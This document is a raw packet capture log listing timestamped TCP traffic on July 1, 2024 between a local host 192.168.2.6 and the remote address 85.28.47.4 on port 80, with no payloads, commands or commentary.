Jul 1, 2024 07:20:36.810376883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810415030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810424089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810456991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810461044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810488939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810499907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810524940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810540915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810573101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810578108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810606003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810607910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810640097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810656071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810668945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810674906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810687065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810700893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810703039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810741901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.869596004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869604111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869613886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869724035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.869764090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869774103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869806051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.869920015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869930983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869940042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869950056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869961977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.869965076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869976044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869986057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.869988918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.869997025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.869997978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.870012045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.870032072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.870054007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.880053997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.880086899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.880120993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.880139112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.880146027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.880172968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.880182981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.880208015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.880223036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.880242109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.880251884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.880276918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.880289078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.880322933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.891839027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.891855955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.891868114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.891889095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.891900063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.891910076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.891921043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.891948938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.891994953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.892041922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892054081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892066002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892102003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.892143011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892157078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892167091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892205954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.892218113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.892232895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892245054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892277002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.892333031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892343998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892353058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892369032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892380953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892381907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.892406940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.892421961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.892493010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892503977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.892540932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.892563105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.900681973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900692940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900702000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900727987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900779009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900790930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900865078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900885105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900888920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.900899887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900912046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.900933027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.900949955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.900979042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901009083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901019096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901043892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901048899 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901073933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901098013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901117086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901139975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901192904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901192904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901237965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901242971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901271105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901283979 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901319981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901324034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901356936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901372910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901391983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901397943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901424885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901432037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901470900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901475906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901530027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901535034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901547909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901571989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901591063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901597977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901635885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901653051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901674032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901684999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901731014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901737928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901772976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901787043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901806116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901814938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901846886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901859045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901890993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901906013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901926041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901931047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.901958942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.901968002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902002096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902012110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902056932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902064085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902097940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902106047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902129889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902146101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902165890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902175903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902179003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902200937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902213097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902239084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902246952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902264118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902280092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902292967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902314901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902319908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902367115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902384043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902401924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902405977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902435064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902441978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902467966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902468920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902502060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902509928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902534962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902544975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902576923 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902585983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902623892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902626991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902657986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902669907 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902693033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902703047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902726889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902736902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902762890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902774096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902796984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902812004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902832031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902842999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902864933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.902888060 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902906895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.902978897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903042078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903105974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903134108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903153896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903167963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903170109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903213024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903218031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903253078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903264046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903285980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903286934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903321981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903336048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903346062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903372049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903404951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903424025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903434038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903450012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903485060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903489113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903518915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903537989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903551102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903551102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903584957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903604984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903618097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.903625011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.903656960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.962658882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.962688923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.962707996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.962735891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.962737083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.962757111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.962789059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.962825060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.962851048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.962858915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.962874889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.962902069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.962909937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.962941885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.962953091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.962975979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.962991953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.963016987 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.963023901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.963056087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.963066101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.963089943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.963099957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.963124037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.963140011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.963177919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.963185072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.963211060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.963222027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.963248014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.963262081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.963290930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.973856926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.973908901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.973927975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.973942041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.973958015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.973974943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.973982096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.974009991 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.974023104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.974044085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.974051952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.974078894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.974087954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.974118948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.984766006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.984817982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.984834909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.984850883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.984863997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.984888077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.984894037 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.984922886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.984935999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.984956980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.984971046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985001087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985025883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985059023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985069036 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985095024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985105991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985141993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985146046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985178947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985187054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985222101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985229015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985274076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985282898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985316038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985337019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985347986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985348940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985399008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985414982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985445976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985450983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985476017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985501051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985521078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985526085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985563040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985577106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985619068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985626936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985658884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985671997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985703945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.985718012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.985739946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.993741035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.993773937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.993808031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.993834019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.993855953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.993889093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.993901014 CEST	49711	80	192.168.2.6	85.28.47.4
